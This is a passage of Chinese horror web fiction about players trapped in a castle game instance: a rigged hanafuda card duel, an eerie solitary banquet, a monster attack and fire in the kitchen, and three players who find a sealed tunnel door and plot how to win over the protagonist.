莱昂内尔缓缓推开眼前色彩瑰丽的牌面,苍白的指节轻轻敲击着其中几张。
松、梅、猪、酒、月亮……
夏炘也对这个名字没有半点映像,他很好奇为什么眼前的男人会觉得自己应该听说过。但是他得到了一个信息,或许当下的副本,并不是一个独立的个体,而只是一块大陆的拼图。
“我知道,你对这个副本,哦不,或许是这个世界都有很多疑问。”男人见对方神色微动于是继续道,“所以我想邀请你来玩一个小游戏,毕竟现在到晚宴前还有一段不小的时间。”
【恭喜玩家解锁限定任务——维尔福先生的牌局】
【任务成功,获得任意问题提问权,被提问方不可拒绝回答】
【任务失败,惩罚未知】
不带一丝情感的声音中中落下。
说是邀请,却带着不容置疑的口吻,见夏炘也不吭声,他不屑的笑了笑,“规则很简单,凑牌组牌。”
莱昂内尔抬起一根手指,“我坐庄。”
戴维将牌聚拢重洗,然后将牌分成三叠。
“一、凑牌,得分。猪鹿蝶七分,三光八分,五光直接赢。其他小牌一分两分。”他推过一张写有组合分值的羊皮纸,夏炘也扫过一眼——五光得胜,四光得十五,三光得八,猪鹿得七……
“二、每五分,换一张札牌。”
他挑眉看了夏炘也一眼,手上把玩着一个筹码状的黑色东西,想来这个就是札牌。
“最后,终局时,分高者获得一次强制提问权。若一方札牌数是对方两倍以上……可剥夺对方一次权利,此为‘完胜’。最终解释,以双方无异议为准。”
他将三叠牌推至桌面中央
“现在,”男人身体前倾,“试着赢走我所有的答案。”
戴维无声上前,为两人斟满深红的酒液。
夏炘也看向自己的手,那里还残留着厨房处理“食材”时的粘腻触感。
“开始。”他的目光移向桌上的花牌。
牌局在寂静中展开,夏炘也手气不错,快速以“樱”牌收“杯”,组成“花见酒”。
“5分。”戴维报数
男人随意将一张札牌放在了他的手边,眼神轻飘飘扫向戴维。
夏炘也敏锐的注意到了这点,更值得注意的是,每当自己手牌出现“光”或“种”牌时,侍立一旁的戴维会有极细微动作——或轻触袖口,或调整烛台角度。而随后,男人的出牌总能完美避开与之配对的月份。
他们在通牌。夏炘也心中已了然,却不动声色,目光死死盯住了出现的每一张牌。
牌局过半,夏炘也凑成“三光”,得8分,累计19分,兑3次权札牌。
男人则稳扎稳打,分数始终紧随。
终局前最后一轮,夏炘也19分,男人20
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分。
牌堆仅剩最后一张。桌面上,只有一张十一月的普通渣牌。夏炘也手中,有一张十一月的“雨”光牌。
他输了,夏炘也抿唇,若用“雨”光收牌,得1分,则20:20打平。规则规定,平局由庄家裁定,他必输。若放弃收牌,19:20,他同样输。
这是一个精心计算的必输局,男人唇角已经挂着笑意。
夏炘也的手指在“雨”光牌上停留片刻,然后,将它轻轻放回手牌列。他打出了一张完全无关的“枫”牌。
“我放弃收牌。”
男人眉梢微挑,似在欣赏对方的“体面认输”。眼前这人似乎已经交出了令他满意的答卷。
他抽走牌堆最后一张牌——正是那张关键的“蝶”。
“猪鹿蝶,7分。”男人宣布,“我27分,你19分。游戏结束,我胜,获得强制提问权。”
夏炘也心下一沉,他输了?
【玩家失败,下面将进行随机惩罚】
“且慢。”
系统的话还没说完,夏炘也的声音清晰响起,在寂静中仿佛破土之笋。
“我对结算有异议。”
男人抬眼。
“您方才收走‘蝶’,组成‘猪鹿蝶’,得7分。但您是否漏算了由此触发的连锁规则?”夏炘也指向男人面前的牌列,“在收‘蝶’前,您已拥有‘猪’、‘鹿’、‘鹤’、‘凤’四张种牌。加上‘蝶’,您已集齐五张不同的种牌。”
他复述规则:“种牌:每张1分。集齐五张不同种牌,触发‘五种’,追加10分。”
“因此,您的总分不是27分,而是37分。”
戴维持壶的手几不可察地顿住。男人脸上的笑容消失了,他迅速扫视牌列,眼神微沉。
夏炘也继续,语速平稳:“37分,兑换7张札牌。我的19分,兑换3张。”
他拿起三张札牌,黑色的牌面泛起冷光。
“根据‘完胜’规则,7为3的两倍以上,您本可拿走我的一张札牌。但该判定基于无异议的最终结算。您作为庄家,在首次结算时漏算了您自己设定的【五种】奖励,导致结算错误。因此,‘完胜’无效。”
“我要求,在纠正分数的基础上,重新判定。”
咚——楼下不知道为什么发出一声巨响,隐隐有震感传来。男人沉默了数秒,目光如实质般落在夏炘也脸上。
先前的玩味消失殆尽,或许直到现在,莱昂内尔才认真端详眼前的青年。
“精彩。”
男人优雅地鼓了鼓掌,靠回椅背,轻轻鼓掌。
“你没有在牌桌上赢我,却在规则解释的战场上翻了盘。你输掉了19比20,却赢得了对37分与‘完胜’的质疑权。”
“这是我的疏忽。依据规则,你的异议成立。‘完胜’无效。”
夏炘也眼神亮了一下。
“不过。”莱昂内尔再次开口堵住了他的念想,“你也并没有获得这次提问机会。”
他狡猾一笑,挥手,戴维再次开始洗牌。
“再来一局。”依旧不给夏炘也拒绝的机会。
夏炘也明白,眼前这人如果说上一次只是捉弄自己把戏,这一次的游戏恐怕就是必死局。
他不知道男人究竟要什么,也因为如此,才更加危险,想到这,他捏了把冷汗。
5. 一人之宴
雕满花纹的木门此时被敲响了。
“打扰了。”三人的视线同时转移过去。
谢幕穿着一身管家制服,逆着光站在门口,对着莱昂内尔说到。
“维尔福先生,夫人正在花园等候,请您移步叙旧。”
莱昂内尔拿起胸前的金质怀表,看了一眼,又看看桌子上的牌局,叹了一口气,拿起脚边的手杖,遗憾地对夏炘也一摊手。
“愉快的时光总是很短暂,这次是我的。”他将一张札牌放在了夏炘也手边。
“新朋友,很高兴认识你,有任何问题,随时来找我,这是一次强制提问权,算是我失约的赔礼。”
说完,转身向谢幕伸出一只手,对方也礼貌的伸出手握了握。
“久仰大名,美丽的小姐。”莱昂内尔轻轻在她手指上落下一吻。
谢幕鞠了一躬,目光犀利向一边的戴维,“你在这里站着干什么?”
对方表情一愣,显然不知道为什么突然对自己发难。
“下面出了那么大的事,你作为领事却找不着人?宴会出了纰漏怎么办?”
戴维突然想起刚刚楼下的震动,咬牙道歉后,迅速朝楼下走去。
夏炘也全程目睹了一切,直到谢幕与莱昂内尔的身影渐渐消失在视野。
现在,他处于一个无人看管的阶段,并且听起来古堡里的人应该都聚集在花园和厨房,自己能探索的地方会大大增加。
他从衬衣的口袋里拿出一张泛黄的纸条,这是他从浴室瓷砖后边找到的,他要趁着这个间隙,好好去看看这个古堡里是否藏着什么不为人知的秘密。
花影疏疏,花香浓郁的令人有些喘不上气,浓密的花丛里布置了一张小型象牙白大理石桌,桌沿雕刻着象征繁荣的葡萄藤浮雕,三把高背椅围绕,椅子上空无一人,桌子上摆满制作精美的甜品,阳光透过巧克力蛋糕上面点缀的樱桃,散发出粉红的光晕。
夫人并不在这里。
“夫人突然有些困,说先回去休息了。”一旁的女仆战战兢兢道。
莱昂内尔似乎没有因为被放鸽子而恼怒,随便坐在了一把椅子上,吃了起来。
“或许你应该尽早行动。”莱昂内尔突然开口。
他周围除了谢幕没有别人,显然是和她说的。
“时机还没到。”谢幕淡淡道,“或许您太心急了。”
莱昂内尔嗤笑一声,他手指指了指自己的眼睛,“看来我们这位美丽的小姐,还是像以前那样健忘。”
谢幕听出来对方话里意有所指,脑子里想起一些不好的回忆,于是闭了闭眼不再说话。
阳光慷慨,灿烂的花丛中,一切都渡上了一层梦幻的色彩,这个地方就是这样,危险,却美丽,让人时常会恍惚,忘记自己的处境,沉溺于一时平静。
莱昂内尔站起身来,用手杖狠狠戳了戳松软的地面,“‘双轨祭’只是餐前酒,我想你比谁都明白。”
说罢他不再逗留,穿过花丛朝城堡走去,“晚宴快开始了,我也得去准备准备,作为一个合格的贵族,满脚泞泥可不得体。”
“哦对”莱昂内尔突然回头,“告诉你一个我刚刚发现的有趣的事情。”
谢幕看向他。
“那小子看你的眼神很不一般,用你们那地方常说的话,我得提醒你,小心阴沟里翻船。”
莱昂内尔说的很认真,可面前这人似乎根本没有放在心上。
一阵狂风刮过,猎猎风声中,谢幕撩了撩头发轻松到,“求之不得。”
古堡里,有趣的小子,会让谢幕阴沟里翻船的家伙,现在迷路了。
他一路往上爬,最后在走廊里转悠,现在有些不知道自己大概在什么位置了,太阳已经慢慢落下,想来晚宴即将开始,他得快点赶过去。
这座古堡比他想象的还要大,夏炘也站在一扇窗户前,他正在通过窗外的景色来判断自己所处的大概方向。
看了一圈他发现,整个古堡果然都被连绵的月季花海包围,月季花海的外面,静谧之森隐没在迷雾里。
他突然想起信上的内容,脑子里有了一个猜测。
其难道这些月季是一种保护屏障,来防止静谧之森里面的某种东西入侵,他又想到,系统的任务是让他们三天之内逃离古堡,是不是就说明古堡的屏障出现了什么问题,所以他们得快点离开。
他再次拿出那张纸,上面写着一句话。
“夫人疯了,让我们在古堡外面种满月季花。”
【晚宴将在半小时后开始,监测到玩家已经触发特殊任务,请玩家尽快准备,特殊剧情即将开始】
特殊任务?
夏炘也一思考,觉得应该是因为自己在古堡npc里面身份的特殊性。
他向楼下走去,准备去楼下看能不能碰到可以帮助自己的人。
果然,在下到某层楼的时候,他遇到了戴维。
戴维此时一脸愤怒,本就充血的眼睛因为愤怒瞪得老圆,好像马上就要掉下来,身上的衣服也略显凌乱,恐怕和刚刚发生的那个岔子有关。
“原来您在这里,我正要去找您,”没等夏炘也开口,对方就挂起了微笑朝他走来。
“晚宴过后,不知道您有没有时间,夫人想约您跳一支舞。”
似乎料想到了他不会跳舞,戴维补充了一句,“不用担心,夫人只是想和您聊一下,现在我带您去换一下衣服,第一天的宴会马上就要开始了。“
晚宴虽然目的都是庆祝双轨祭,但却分别花三天来招待三波不同的客人,这个点让夏炘也十分疑惑。
听起来,这应该是一个宗教类的节日,应该拥有固定的时间和流程,怎么会这么安排呢?是有什么深意吗?
“请问双轨祭是什么时候?”犹豫再三他还是决定问道。
戴维表情似乎听到了什么奇怪的话,“双轨祭早就开始了,先生?”
夏炘也眉头皱起,“这次宴会不是为了庆祝双轨祭的到来吗?”
“是这样没错,不过双轨祭早在很久以前就已经开始了,”戴维从一个衣柜里拿出一件西装让他穿上,又细心的为他打上领带。
“夫人很好客,所以古堡每周都会举办宴会。”
整个房间突然安静下来,戴维似乎并没有注意到这诡异的氛围,自顾自又带起路来。
夏炘也的内心却没有表面上那么平静。
谢幕提供的信息是错误的?
他再次看向戴维,他虽然之前联合莱昂内尔在牌局上动手脚,,而且他也没有欺骗自己的目的,按理来讲没有必要在这种问题上做手脚,直接选择不回答就可以了。
难道是谢幕在欺骗他们?他否定了这个答案。
抵达宴会厅,里面却是空荡荡的,整个房间都透着一股寒酸的味道。整个宴会的布置,只有一张铺着亚麻白布的长桌,上面潦草的布置着几个银盘和树枝状的烛台。
戴维为他拉开一把椅子,请他坐下。
夏炘也心下一疑,这该是主人的位置。
直到唱片机开始播放优雅的爵士乐,
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长桌上,依旧只有他一个人
没有看见莱昂内尔的身影,甚至本该是宴会主角的夫人也没有出现,整张桌子空荡荡的。
周围的灯光不知道什么时候熄灭了,黑暗中,只有这张长桌,仿佛虚空中唯一的存在,散发着微微的光芒。
光亮往往是安全的象征,但如果在危机四伏的地方,便是死亡的催命符。
夏炘也的心突突直跳,不知道什么时候,他周围的椅子上,慢慢浮现出了一个个人影,或高或矮,胖瘦各异,隐隐似乎还有交谈嬉笑的声音传来。
他们就是宴会的客人?
他现在的接受度达到了一个新阶段,出现一些看不见的影子客人也是正常的,可以理解……
突然,他手边出现了一个银制托盘,上面仅有一摞坚硬,没有发酵完全的薄饼以及一瓶灰色的粗盐。
咚——他得灵魂好像突然被剧烈的冲击,痛苦恐惧像潮水般涌来,裹挟着他朝更黑暗的地方坠去。
【恭喜玩家……】
系统的提示音将他强行拉了回来,再一看,他还坐在椅子上,不过他这次抬头,直接对上了莱昂内尔那张皮笑肉不笑的脸。
“希望不是我的到来让你激动成这样,否则也太无礼了。”
夏炘也没有回答,他现在整个人都被冷汗浸湿,灵魂深处的那种被撕裂的感觉迫使他伏在桌子上,直不起腰来。
【恭喜玩家解锁特殊成就,现解锁进度8.3%,请玩家继续努力】
去你的恭喜!夏炘也难得失去了表情管理,面色看起来有些扭曲。
莱昂内尔好像没有看到般,斯条慢理的将手浸入面前的银盆里清洗完不存在的污垢,随后仔细用亚麻布擦干后,才假意关心,“或许你应该回去回去休息。”
一串串冷汗好像山间的小溪顺着脸颊流淌下来,早就把夏炘也下巴底下的白色桌布浸湿了一大片,但他还是扯出一个有些难看的微笑,“麻烦了。”
戴维小心地将他搀扶起,“我先带您回房间,稍后会送药来给您。”
“替我向夫人抱歉,今晚恐怕不能赴约了。”他艰难的点点头从牙缝里挤出这句话。
随着两人渐渐被黑暗吞噬,一道清脆的脚步声由远及近,谢幕逆着光站在了莱昂内尔对面。
“不用我说,你也应该知道你刚刚错过了多么精彩的东西。”
谢幕没有回答他,拉开一把椅子坐下。
“这是一个很适合你的位子。”莱昂内尔不知道为什么,今天的话格外多,谢幕觉得他有点烦人了。
又一声椅子拖动的摩擦声传来,莱昂内尔看去,看清来人后,站起身来礼貌地行了一个绅士礼。
“夫人安。”
塞勒姆颔首以示回应。
一队队仆从托着银质餐盘开始上菜,不过都只是一些普通的西餐,牛排、煎豌豆,面包。
“我以为我这么早来,可以尝到好东西。”莱昂内尔漏出一副遗憾的表情。
“刚刚发生的一切,已经值得你提前两天来了。”塞勒姆夫人难得开口,却直接将男人的嘴巴堵住。
“那么各位,”眼见菜已经上齐,塞勒姆夫人双手抱拳,“感谢神明,赐予我们阳光——”
餐前祷告对于他们这些贵族尤为重要。
但谢幕看着他们这副模样却感觉有点好笑,她托着下巴,手里的银刀随意戳弄着面前的牛排。
直到剩下最后一句,才抬起一只手拂过额头。
“感谢神明,让我们齐聚于此。”
6. 火与荐
深夜,四处一片寂静,除了后厨,几个人枕着胳膊打着盹,但没过一会又揉揉眼睛,举起和自己差不多高的石杵开始捶打,他们要在天亮前将需要的腌制酱料处理好,和第一晚的情况差不多,石臼远比以前见过的大得多,石头也是实打实的,重的离谱,女生基本上只有两个人一起才搬得动。
俞正则黑着脸,脸上还有一道没有愈合的口子,不知道是什么时候弄的,石臼里因为被锤打而飞溅出的汁液不断刺激着他的眼睛。
“俞哥,那两个人刚刚果然鬼鬼祟祟溜走了。”陈现低声在他耳边道,“要不我跟过去。”
苏迟也看了过来,经过今天的事,她现在可以肯定,要想脱险,眼前这个男人必不可少。
黑暗中隐隐有粗重的喘息声。
俞正则揉了揉眼睛,两天没合眼,如果是以前,他也不会有多少疲惫,可不知道是不是年纪大了还是什么原因,他现在甚至有点眼冒金星。
“别,小陈,他们中的那个男人,第一晚的时候明明腿没了,结果当天晚上就完好无损的和他们一起洗碗,许多人还以为自己当时看花了眼,但当时他就觉得对方不简单,只是时间匆忙不给他时间细细追究,不过现在不一样了……”
他的目光看向门口,深吸一口气,“再坚持一下,后天就结束了。”
苏迟这时却开口,“你们真的觉得我们能活到宴会结束吗?”
两人的目光看向她。
“苏姐姐,啥意思?”陈现顶着个绿毛,清澈地问道。
苏迟扫了他一眼,有些无奈的思索一会,对着俞正则摆摆手,“跟我来。”
“不跟其他人说吗?”陈现还想开口,却被苏迟不耐烦地捂住了嘴,只好闭嘴跟着他们走。
沉闷的敲击声逐渐被抛之身后。
走廊里漆黑一片,只有皎洁的月光从一扇打开的窗户倾泻而入,披在女人的身上。
“你们还要躲多久?”谢幕转过身来,对着黑暗处说道。
两个男人的身影随即慢慢从黑暗中钻了出来,一高一矮。
“你也是老玩家,你有什么道具?”
谢幕被这个问题逗笑了,“我没有义务回答你的问题,温馨提醒,作为古堡的临时工,擅自离开岗位,可是要扣押金的。”
说到押金,男人抖了一下。
另一个男人见伙伴吃瘪,立马为他出头,“你装什么,都是砧板上的鱼,你以为自己一个人就可以通关副本吗?”
“你们大可以去找别人,而且你们既然是老玩家应该知道,副本通关率超过60%会发生什么吧。”谢幕歪头微笑。
他还想继续发作,却被拦住。
“你恐怕还不知道,”男人的眼神阴沉下来,“副本的奖励是固定的,通关人数越少,每个人分配到的奖励也更多,副本道具,我相信你知道对我们有多重要,你该不会真的想和这些消耗品平分吧。”
男人的语气重重碾过最后一句,显然是想告诉谢幕,我们是一路人,我们是一样的。
可惜,对方并不吃这一套。
“是吗?”谢幕关上窗户,整个世界陷入黑暗,“那你们也死了,只有我一个人通关,奖励不都是我的吗?”
说完她不再与他们掰扯,这样的人,她更希望对方就此停留在这里。
不用回头,谢幕都知道,身后的两人此刻,一定正在用一种怨毒的眼神,像看待猎物一样死死盯着她。
旁人或许看不出,可她却看见了,也明白眼前的这两人在厨房里到底干了什么。
她的目光扫过矮小男人,她也知道,我为什么这两人早不找晚不找偏偏这个时候和她谈合作。
他们已经山穷水尽了。
厨房里的鸡肉,是像小山一样堆在桌子上的,有些长得比较矮小瘦弱的人,只能从下面把需要处理的鸡肉抽出来,每次移动,小山便摇摇欲坠。
面前的矮男人走过去,刚拽出一截鸡肉,就听到鸡肉堆的深处传来一阵细小的尖叫声,他没太在意,又一用力,只听一声凄厉的惨叫声传来。
一个苍白的人影瞬间钻了出来,跳到了地上。
它浑身白的瘆人,青色的血管隐隐可见,全身光秃秃的,脖颈处一道深可见骨的口子,还挂着凝固的血渍,头颅半挂在上面,原本应该长着无关的位置,只有四个大小不一的口子,只有或许是嘴巴的地方,漏出两排细细的尖牙,提醒着面前的人。
鸡确实会长牙,当时陈现也第一时间看到了这一幕,这想法也第一时间冒出,但不至于那么利吧?!
几乎只是一瞬间,那怪物就因为刚刚拉拽带来的疼痛而暴怒,嘶叫一声,朝着男人扑了过去。
那几乎是一个不可能被反应躲避的距离,可不知什么时候,男人从袖口中掏出来一个稻草人偶,默念了一句。
与此同时,怪物调转了方向,就这样放任近在咫尺的男人,转身朝他身后一个上了年纪的阿姨扑去。
撕心裂肺的惨叫传来,怪物咬着刘婶的胳膊一路拖拽,在厨房里乱窜。
周围人顿时乱做了一团,尖叫着朝门外跑去,可房门却早已锁上了,他们只能瑟缩在墙角,努力将自己贴在墙面上,希望自己不要被引起注意。
这时,只有俞正则大跨步冲了过去,一把抱住那怪物的腰将它压倒在地。
怪物死命挣扎几下,脖子上本来就只有几根神经牵连着的头颅终于不堪重负掉落在地,最后瞪了几下脚,彻底没了动静。
“刘婶?刘婶?”俞正则摇晃着身下的人,可对方只是掀了掀眼皮就昏死过去,他在看向男人的方向,他头也没回,一脚踹倒对方的鸡肉,手里拿着那个稻草人,不知道在寻找什么。
人群中男人那个矮小的同伴冲了过去,“大哥,你没事吧。”
随后俩人对视一眼,开始翻动起肉堆来。
“住手!你们在干什么。”
肉堆中越来越多的鸡肉动了起来,一声声小声的吼叫声此起彼伏的响起,矮小男人咽了咽口水紧张地看向同伴。
可大哥没有因为俞正则一句简单的喝止就住手,反而是掏出一根火柴,擦亮,那火柴也不知道是什么材质的,竟然一碰到那些肉块立马燃烧起熊熊火焰来。
嘶吼声传来,一个个本来沉睡的怪物,此刻愤怒的怪物扭曲着残躯的躯体,摇晃着朝身边的人咬去,却唯独绕过了离他们最近的两个男人,一个怪物路过矮小男人的时候,转着扭断的脖子似乎嗅到了什么讨厌的气息停留了一会,矮小男人顿时躺倒在地,拽着大哥的裤脚哀嚎。
可怪物没有停留,朝着离他们比较近的俞正则扑去。
大哥冷冷地看着一切,他面上漏出思索的表情,随后抓起矮小
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男人一眨眼竟然不见了。
看着身前前仆后继的怪物,俞正则的眉头也紧紧簇起,他总觉得恍惚,眼前的一切多么熟悉,他的身前是密密麻麻的敌人,身后是无辜的群众。
真的值得吗?这些怪物怕火,而这道燃起来的火焰只有一道,将整个房间分割成了两部分,他只要一个打滚,就能去到那道安全地带。
他的脑子还在思考,身体却已经冲了过去,将一个个怪物潦倒,怪物看着恐怖,战斗力却没有很强,没一会就倒成了一片。
陈现也连忙加入,他经常帮家里干农活,力气也不小。
怪物的威胁暂时减小了,可是更大的问题也慢慢浮现——燃烧的火焰越逼越近,空气愈发闷热,不少已经开始喘不上气。
尤其是俞正则他们这种刚刚一直在剧烈运动的,现在眼前已经慢慢模糊,不知道还能坚持多久,令他意外的是,苏迟手里握着一把刀,竟然将朝她扑过来的怪物全部打倒了。
苏迟也因为高强度的搏斗,握着刀的手微微颤抖,再一个怪物冲过来时,她终于力竭朝一边倒去。
她感受到,一滴滴黏腻的不知道是口水还是血的东西滴在她的脖颈,她苏迟绝望地闭上了眼。
明明已经快要开始新的生活了……
这时,碰——门被踹开的声音声音划过密闭的空间,紧随着的,是哄乱的人群尖叫着朝外挤去的踩踏声。
“冷静点!一个一个不要急!”谢幕的声音传来。
苏迟睁开眼睛,看见了面目因为愤怒而有点狰狞的谢幕。
她的目光扫过四散在周围怪物的尸体,又看过俞正则三人。
走上前手里不知道什么时候拿出一把黑色的匕首,将几个还没断气的怪物一刀毙命,然后手轻轻从他们的额头拂过。
“管家管家!你可得做主啊!”陈现这时候反应极快,立马就跪爬到谢幕身旁,告状到,“有人防火想要毁了这个宴会啊,你看这些食材全都被烧焦了,这还怎么吃呀。”
苏迟没想到这看起来有些痴傻的家伙竟然知道把事情牵扯到对方的利益上,不与多看了他一眼。
谢幕似乎有什么急事,神兵天降救众生于水火后,没有过多逗留,咬咬牙立马就小跑离开。
“该死!应该直接说的。”陈现骂了一声。
苏迟心想厨房都被烧了,那两个人绝对跑不了,早晚的事。
结果还是她太过天真。
戴维随即赶到,将人群中的两人就出来后,只听了他几句话,原本满头冒烟却一下子哑了火。
“我们看见没有死透的食材,于是决定采用更能保留食材风味的处理方法。”
“是的,我们是塞勒姆公爵推荐的临时厨师,将食材用火燎过以后可以让肉质更紧实,表皮收缩出起来也会更加酥脆。”
说着,拿出了一张推荐信,戴维皱着眉看了几眼,最后还是重新还给了他们。
“两位远道而来,为了夫人的宴会操心,我替夫人谢谢公爵的好意。”
“我们也十分高兴可以代公爵哄夫人开心。”
“不过,”戴维面上笑着,却话锋一转,吐出来的字眼格外冰冷。
“厨房被毁坏成这个样子,我想哪怕是公爵也不会轻易饶恕你们。”
男人充血的双眼流连过二人,舌头舔了舔干涩的嘴唇。
7. 三重锁
一只蝙蝠扑棱飞过,陈现尖叫了一声,苏迟不耐烦的眼神刺过来,烛火在她眼底跳动。
陈现揉揉僵硬的胳膊,紧张地开口,“苏迟姐,你怎么发现这种地方的呀。”
“摔一跤发现的。”
俞正则殿后,目光扫视着周围的一切,他的疲惫暂时被高度警觉替代,但是比起未知,他更在意苏迟带他们来这里的目的。
苏迟刚刚带着他们,七拐八绕走进一个开着门的房间,然后将地板掀起来之后,下面竟然有一个隐秘的暗道。
这是她第一晚的时候意外发现的,当时苏迟的大脑虽然被镜子中诡异的女鬼吓得打起了结,听着谢幕的脚步声越来越远连忙想冲出去,可是她再一回头,只见镜中的人此刻只是静静地看着她,似乎对于伤害她毫无兴趣。再次感受到她的目光,女人抬起手指,歪着脑袋,又往下指了指。
苏迟颤抖着手,摸索着脚下的土地,是什么东西掉到地上,对方希望自己捡起吗?
摸着摸着,她却被一个声音吸引了注意力。
咚咚咚,这地板地下,怎么感觉是中空的呢?
地窖吗?苏迟看过一些电影,像这种西方的贵族,一般都会有地窖,来储藏一些葡萄酒之类的物品,但是地窖的入口怎么会开在这里呢?
再一摸,啪嗒一声,地板竟然被撬起了一个口子。
再然后苏迟就没敢继续了,她趴在洞口看了看,发现似乎是一个狭长的隧道,虽然她的好奇心一直撺掇着她向下走走,但她明白不作就不会死,于是及时收脚,只是今天的场景带给她的冲击太过巨大,让她隐隐生出了不好的预感,再加上俞正则两人跟在自己身边给自己壮胆,否则她绝对不会来这种未知的地方。
“哎,快看!”陈现眼神极好,透过蜡烛若有似无的微光不知道发现了什么,示意他们看过去。
苏迟心里顿时警铃大作,要知道他们一路走来除了土还是土,这时候出现什么,是好东西的概率她觉得不大。
可想象中怪物冲来,尸骸遍地,扭动的蛆虫都没有出现。
“一扇门?”俞正则将蜡烛靠近。
一扇厚重,与周遭土壁格格不入的铁门浮现,更引人注目的是,一条手腕粗的铁链旁绕在铁门上,巨大的铁锁沉甸甸挂在空中。空气中弥漫着一股尘封多年的土腥味,烛火将三人的影子照在墙上,随着他们的移动,影子逐渐变得张牙舞爪,一个隐蔽的地下空间,突然出现一道门……
一种诡异感弥漫开来,城堡地下怎么会有门呢?难道门后边就是储藏红酒的地方?
“地窖门?不像啊,”陈现却开口打消了这个想法,“这地方什么防水措施都没有做,一下雨指定被淹,不可能是用来储藏物品的。
俞正则也点点表示赞同,举起蜡烛,照亮了门上方和通道顶部的衔接处,那里有许多细小的,被粗暴凿穿的痕迹,”虽然说世间有一些久远了,但还是看得出,这条通道挖凿的十分简陋,不像是专业工程队施工。“
【恭喜玩家解锁新地图——尘封的暗道,暗道的尽头永远的矗立着一道再也不会打开的门,因为里面埋藏着古堡最不可见人的秘密】
系统的声音传来,在寂静中格外清晰,进一步浇灭了他们的希望。
无法打开的门,这么说无论门后是什么都与他们无关了。
“白高兴了,我还以为门后就是逃离古堡的道路呢?”陈现哀嚎。
苏迟细细琢磨着话里的讯息,但眼下她需要面对一个问题。
果然俞正则抬起头来,昏黄的灯光映照着他俩的脸,此刻他眼睛里的怀疑不再掩饰,直直地往自己眼睛里钻去,“苏小姐,现在可以说了吗?你之前应该也没有探索过这个地方,这个节骨眼带我们来这里,有什么用意?“
说还是不说,这是一个问题?
她总不能说自己怕死想着拉上几个垫背的吧。
内心深处苏迟并不想说明那晚的经历,哪怕这是一个充满诡异的地方,她也并不觉得真相会让对方信服,但不说,人与人之间的信任会变得更加岌岌可危,这并不是她想看到的局面,她需要别人的帮助。
“我还想到了一个突破口,你们要听听吗?”苏迟再次提出新的建议。
当你难以回答一个问题的时候,不妨把注意力引到一个新的问题上,这招她百试不厌。
陈现完全被她带偏了思路,俞正则闭上嘴看着她,好在他没有继续追问。
“俞大哥,陈现,”她选择了一个更亲近的称呼,“我们回去继续捣那些酱料,你觉得三天后,我们是能拿着‘工资’平安离开,还是变成宴会上的一道菜?”
陈现脸色一白,下意识抓了抓头发,空中顿时“柳絮”纷飞。
苏迟同样抓了一下头发,瞬间,那块头皮的头发就掉了下来,轻飘飘落在地上,头皮顿时漏出光秃秃一片。那撮头发静静躺在掌心,根部还连着惨白的毛囊。
她把头发放在了蜡烛前让两人都能看见,同时还有她那张格外憔悴的脸,“或许我们这些临时工,就是宴会的食材。”
“你们应该都感觉到了,我们的精力流失的速度未免太快了。”在座的三位都是成年人,经历过社会毒打,明白自己身体的极限在哪里。
俞正则没有反驳,他也感觉自从进入这个古堡,他的精力消耗的就格外快,他以前十分适应连夜高强度高专注度行动,可现在,一种无力感由身体深处提醒着他,他需要休息,可这里并不给他休息时间。
“所以,我们必须自己找生路。但我么可以获得信息的渠道太少了,也太过危险了。”他们的活动范围几乎被局限在了后厨和厨房两个地方,戴维也不会多跟他们交流,贸然离开工作岗位,四处探索,她觉得作为一个任务在身的“临时工”也是充满危险的。
苏迟话锋一转,“但有一个人,或许能接触到我们接触不到的信息——那个被戴维亲自接待、带离厨房的男孩。”
“为啥是他?不应该是那个更厉害的谢幕妹妹吗?”陈现不解,他没明白为什么要合作,但是显然他更不明白为什么不找看起来就很厉害的人。
“因为谢幕太厉害了。”苏迟摇头,对方的每一次出场,就差把我和你们不一样写在脸上了,“合作需要交易对等,我们有什么能和她交易?“
俞正则终于开口,声音低沉:“你的思路我明白,合则两利,但我们手里的信息支离破碎,凭什么说服他与我们共享可能更关键的情报?”
苏迟承认接下来的话有些是她半蒙半猜纯忽悠的,但她相信,能说服眼前的两人,说服一个那个看起来呆呆的黄毛小子也不在话下,想到这里,她的底气也足了起来。
“我们现在作为玩家,都收到了相同的通关任务,可是我们的身份却不尽相同,你们想想在学校里,学生和老师的相同任务都是考出一个好成绩,但是他们分别要做什么?”
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俞正则眼前一亮,心说自己怎么没有想到呢?
谢幕告诉他们,自己作为临时工,而谢幕本人则是作为古堡的管家,至于那个叫夏炘也的孩子,从戴维对他的态度不难看出,他的身份应该是客人,甚至贵客。
“你的意思是说,我们的通关条件是不一样的?”
“对。”苏迟心中的大石头落下,看来对方已经跟着自己的思路走了,可她也并不是随口瞎说,也是有理论依据的。
“那和我们找那个弟弟合作有什么关系呢?”
陈现眼睛里完全没有即将变成无毛怪的恐惧,只有最原始,最清澈的疑惑。
苏迟捂上了脸,“我们作为将要被端上桌的食材,戴维除了必要的时候可不见得搭理我们,可他不一样,他因为贵客的身份,戴维表面对他的恭敬,其实更像是一种隔离。而且他作为贵客,比我们这些量产的食材在宴会中扮演的角色只重不轻,所以,他更没办法逃离结局。”
陈现似懂非懂,他还想发问,却被俞正则抢先。
“你的思路不对。你想说服那孩子和我们合作,但我们的筹码根本达不到说服这个地步。或许我们不能使用常规的信息交换来让他和我们合作。”
苏迟眼前一亮,她嗅到了同道中人的气息,她将目光投向那扇门,“系统说这扇门背后掩藏着一个秘密,可是谁也不知道秘密是什么,他也一样,我们可以利用这种模糊的信息来让他去交换我们需要的情报。”
简单来讲就是忽悠夏炘也不和他们合作自己也没法通关,欺负小孩没心眼就是这样。
显然俞正则给了苏迟大大的惊喜,她本来还想委婉的表示这是为了大家好之类的理由,避免对方正义感作祟拒绝自己的提议,没想到他接受的如此坦荡。
俞正则沉思片刻,缓缓点头。
就在三人初步达成共识,准备原路返回时,陈现挠着他那头绿毛,冷不丁又冒出一句,语气里是真切的困惑:“俞哥,苏迟姐,你们说……有没有一种可能,就万一啊……那个夏炘也不是什么贵客,他可能是什么内鬼,刺客之类的身份呢?“
苏迟和俞正则对视一眼,都没有立刻反驳。这个过于跳跃,带着一点玩笑语气的猜想,像一颗冰冷的石子投入湖面,在他们心里翻起淡淡涟漪,而怀疑的涟漪一旦荡开,便难以平息。他们无法证实,毕竟从头到尾,他们关于自己身份的猜想,完全来自谢幕的口述以及自己的推测,但也无法证伪。
“无所谓,”苏迟头也不回地说道,“我们先去试探一下他知不知道自己剧本,如果不知道,那就让祂相信我们是对的就行了。”
话虽如此,一种怪异感却突然笼罩在她心头。
